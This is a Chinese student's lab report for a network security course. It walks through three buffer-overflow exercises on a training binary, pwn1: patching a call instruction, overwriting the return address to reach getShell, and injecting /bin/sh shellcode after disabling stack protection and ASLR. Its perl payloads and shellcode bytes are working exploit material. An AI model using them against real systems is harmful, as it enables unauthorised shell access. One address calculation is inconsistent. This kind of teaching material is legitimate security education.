20242935 2024-2025-2 《网络攻防实践》第九周作业
20242935 2024-2025-2 《网络攻防实践》第九周作业
实践九 软件安全攻防--缓冲区溢出和shellcode
一、实践要求
1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
二、实验过程
任务一: 手工修改可执行文件
首先将 kali 虚拟机名称改为:wcy20242935
hostnamectl set-hostname wcy20242935
在本地主机上下载并解压pwn1压缩包,再复制到虚拟机kali上
再通过命令修改文件名
mv pwn1 pwn20242935
通过指令对pwn20242935文件进行反汇编操作
objdump -d pwn20242935 | more
可以看到getShell、foo、main等一系列函数
可以看到08048491(foo函数的起始地址)= 80484b5(main函数中call指令的结束地址)+ffffffd7(栈是逆序)
现需要修改main函数中call指令的地址,使其跳转到getShell函数
由于0804847d(getshell函数的起始地址) - 080484ba = ffffffc3,所以我们只需要把main函数中call指令的目标地址由d7ffffff改为c3ffffff,即可实现跳转到getShell函数
通过命令修改,使用文本编辑器查看该文件
vim pwn20242935
可以看到在上述操作后得到一串乱码,按下esc离开编辑模式,然后通过命令,切换到16进制模式
:%!xxd
找到d7ffffff
修改为c3ffffff
将"d7"修改成"c3",每修改一个字符,按一个r,修改一次
修改完毕数据后,按下esc离开编辑模式,然后通过指令,将文件恢复文本显示
:%!xxd -r
最后按ESC,再通过命令,保存并退出
:wq
再次输入指令,看反编译结果
objdump -d pwn20242935 | more
可以看出已经调用了getShell函数
修改成功
任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串
使用命令,将反汇编查看没有修改过的文件pwn1,查看foo函数
objdump -d pwn1 | more
地址 | 指令 | 含义 |
---|---|---|
8048491 | push %ebp | 保存调用者的基址寄存器,准备建立新栈帧 |
8048492 | mov %esp, %ebp | 设置当前栈帧的基址 |
8048494 | sub $0x38, %esp | 为局部变量分配 56 字节空间(0x38 = 56) |
8048497 | lea -0x1c(%ebp), %eax | 有 28 字节用于存放用户输入 |
EIP 是 x86 架构中保存返回地址的寄存器
若能让输入跨过这 28 字节,再刚好写入返回地址的位置,就能控制程序的执行流
把返回地址(80484ba)改为 getShell的地址(804847d),程序执行完 foo 后就跳转去执行 getShell()
因此,构造一个字符串使它的长度可以溢出至 EIP 所在位置,将返回地址 “80484ba” 覆盖为 getShell
函数的地址 “804847d”
也就是说
如果输入大于 28 字节 + 4 字节(填满+覆盖返回地址),就能劫持返回流程;当输入的字符串的长度超过32个字节时,第33-36个字节将会覆盖到EIP中
最终跳转至 getShell()
pwn1通过gdb进行调试(如果没有安装gdb会提示要安装)
gdb pwn1
因此,我们可以在溢出中执行getshell功能,将它的输入字符串的位置正确地设定为getshell函数的地址,即将输入的字符串中的第33-36个字节设定为0804847d
由于elf语言是小端优先,我们在33-36个字节应该这样输入:\x7d\x84\x04\x08。
输入命令
perl -e 'print "00000000000000000000000000000000\x7d\x84\x04\x08\x0a "' > input_20242935
形成字符串文件input_20242935
然后输入命令,可以通过xxd查看文件十六进制格式的内容
xxd input_20242935
输入命令,即可将构造好的字符串输入程序并运行
chmod u+x ./pwn1
(cat input_20242935; cat) | ./pwn1
最后输入 ls 进行测试,发现程序成功调用了getShell函数
任务三:注入Shellcode并执行
输入指令,安装execstack
apt-get install execstack
设置堆栈可执行
execstack -s pwn1
查询文件的堆栈是否可执行
execstack -q pwn1
查看地址随机化的状态,输出中包含 X,表示该文件允许在栈上执行代码
more /proc/sys/kernel/randomize_va_space
关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space
再通过命令,查看状态,可以看到已经为关闭状态
more /proc/sys/kernel/randomize_va_space
构造要注入的字符串地址,采用的构造方法是retaddr+nop+shellcode,并开始注入攻击
retaddr:返回地址(攻击者伪造的地址,指向shellcode所在位置)
NOP:滑板(No Operation,\x90,用于“滑行”到shellcode,增加攻击成功概率)
shellcode:攻击载荷,通常是一段能够开启shell的机器码
shellcode为:"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
输入指令
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode_20242935
\x90\x90\x90...:前面的几个 \x90是 NOP滑板
中间的部分是上述的 shellcode
最后的几字节 \x90\x4\x3\x2\x1\x00是伪造的返回地址 retaddr(逆序存储的地址,比如 0x01020304,在内存中表现为\x04\x03\x02\x01),具体值会根据攻击目标的栈地址调整
输入指令,开始运行
(cat input_shellcode_20242935; cat) | ./pwn1
再打开另外一个终端,使用指令,找到对应的进程号为48315
ps -ef | grep pwn1
使用gdb调试该进程
gdb
再根据pwn1的进程号使用gdb对其进行调试,通过设置断点,来查看注入字符串的内存地址
attach 48315
通过命令,对foo函数进行反汇编,找到应该放置断点的位置,即断点应该放到ret之前
disassemble foo
然后输入指令,设置断点
break *0x080484ae
设置完毕后,在gdb中输入指令,继续执行
c
再在左边的终端回车,即可到达断点
输入指令,查看栈顶指针所在的位置,并查看该地址存放的数据为:0xffffd38c
info r esp
输入命令,查看其存放内容,看到了0x01020304,就是返回地址的位置
x/16x 0xffffd38c
返回地址为:x/16x 0xffffd38c+0x00000004=0xFFFFD380,所以地址应为0xffffd390。
因此可以构造shellcode为
perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode_20242935
然后输入命令,再次运行,可以看到攻击成功
(cat input_shellcode_20242935; cat) | ./pwn1
三、学习中遇到的问题及解决
问题一:在Kali Linux系统上使用apt-get install安装execstack包时,无法找到该包
解决方法:
打开sources.list文件
sudo vim /etc/apt/sources.list
在文件中添加以下内容
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib
保存退出,再进行更新
apt-get update
apt-get install execstack
问题二:当前操作系统禁止非 root 用户使用 gdb attach
解决方法:所以要提权到root
四、学习感想和体会
在实验过程中,我遇到的最大困难是“栈偏移量”的准确定位。一开始我以为只要控制了输入就可以控制 EIP,但调试过程中发现实际返回地址的位置往往需要通过 GDB 和特殊标记值来推断,这让我意识到攻击的“精准性”远比想象中重要。